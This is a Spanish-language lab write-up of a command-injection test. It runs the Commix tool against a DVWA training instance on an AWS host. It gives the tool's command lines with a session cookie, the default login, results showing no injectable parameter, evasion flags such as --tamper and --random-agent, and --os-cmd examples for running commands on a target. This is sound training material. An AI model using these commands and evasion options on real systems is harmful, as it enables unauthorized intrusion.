

Prueba de Command Injection con Commix sobre DVWA

1. Objetivo

Ejecutar una prueba de inyección de comandos (Command Injection) sobre la aplicación vulnerable Damn Vulnerable Web Application (DVWA), utilizando la herramienta Commix en entorno controlado.

2. Requisitos

Sistema base

- Python 3.x
- Git
- Navegador web
- Acceso a una terminal

Repositorio y librerías

1. Clonar el repositorio oficial:

```
git clone https://github.com/commixproject/commix.git
```

```
cd commix
```

2. Instalar los módulos necesarios:

```
pip install pyreadline3 requests termcolor urlparse3
```

3. Acceder a la aplicación vulnerable DVWA

Dirección de acceso

<http://ec2-3-17-135-191.us-east-2.compute.amazonaws.com:8080>

Pasos:

1. Ingresar al sitio en un navegador.
2. Iniciar sesión (por defecto: usuario `admin`, contraseña `password`).
3. Cambiar el nivel de seguridad a "low":
 - Navegar a DVWA Security → seleccionar `low` → Submit.
4. Acceder a la sección "Command Injection" desde el panel lateral.

4. Obtener la sesión (PHPSESSID)

1. Presionar `F12` para abrir herramientas de desarrollador.
2. Ir a la pestaña "Application" o "Almacenamiento" → "Cookies".
3. Copiar el valor del `PHPSESSID`.
4. Confirmar que también se mantiene `security=low`.

5. Ejecutar Commix**Comando usado:**

```
python commix.py
--url="http://ec2-3-17-135-191.us-east-2.compute.amazonaws.com:8080/vulnerabilities/exec/
?ip=127.0.0.1&Submit=Submit" \

--cookie="PHPSESSID=eqpe9pgpvl4fcprupouerl3dk5; security=low" \

--batch
```

6. Resultados observados

Commix ejecutó múltiples pruebas sobre el parámetro `ip`:

- Conexión al servidor exitosa.
- Se intentaron varios tipos de técnicas de inyección:
 - Heurísticas (básicas)
 - Result-based
 - Time-based
 - File-based
- El parámetro `ip` no mostró ser inyectable de forma confiable.
- Se redirigió a rutas que requerían permisos de escritura (`/var/www/...`) que no estaban habilitados.
- Se ofreció `/tmp/` como alternativa, pero los resultados fueron falsos positivos o no concluyentes.
- Commix intentó también con el parámetro `Submit`, sin éxito.

Mensajes clave recibidos:

- "GET parameter 'ip' might not be injectable."
- "False positive or unexploitable injection point has been detected."
- "All tested parameters do not appear to be injectable."
- "Try to increase value for '--level' or use '--tamper' and '--random-agent' for bypass."

7. Sugerencias para futuros intentos

1. Confirmar que DVWA esté en modo "low" al momento de ejecutar Commix.
2. Utilizar opciones adicionales de Commix:

Aumentar nivel de pruebas:

```
--level=3 --risk=3
```

○

Usar agente aleatorio:

```
--random-agent
```

○

Aplicar técnicas de evasión:

```
--tamper=space2comment
```

○

3. Validar si el parámetro `ip` está siendo sanitizado en la versión actual del entorno.

8. Conclusión

El entorno fue correctamente configurado y Commix ejecutó pruebas válidas. Sin embargo, en esta ejecución el parámetro `ip` no resultó vulnerable a inyección de comandos. Es posible que la configuración del entorno DVWA, las restricciones del contenedor, o medidas de protección internas estén impidiendo la explotación. Se recomienda probar con otras configuraciones de seguridad o entornos más controlados como DVWA local, BWAPP o Mutillidae.

9. Ejecutar comandos específicos

Además de las pruebas automáticas, Commix permite ejecutar comandos personalizados directamente sobre el objetivo, si es vulnerable.

Sintaxis:

```
--os-cmd="comando"
```

Ejemplos útiles:

```
--os-cmd="whoami"
```

```
--os-cmd="ls -la ."
```

```
--os-cmd="pwd"
```

Comando completo de ejemplo:

```
python commix.py  
--url="http://ec2-3-17-135-191.us-east-2.compute.amazonaws.com:8080/vulnerabilities/exec/  
?ip=127.0.0.1&Submit=Submit" \  
  
--cookie="PHPSESSID=eqpe9pgpvl4fcprupouerl3dk5; security=low" \  
  
--os-cmd="whoami" \  
  
--batch
```

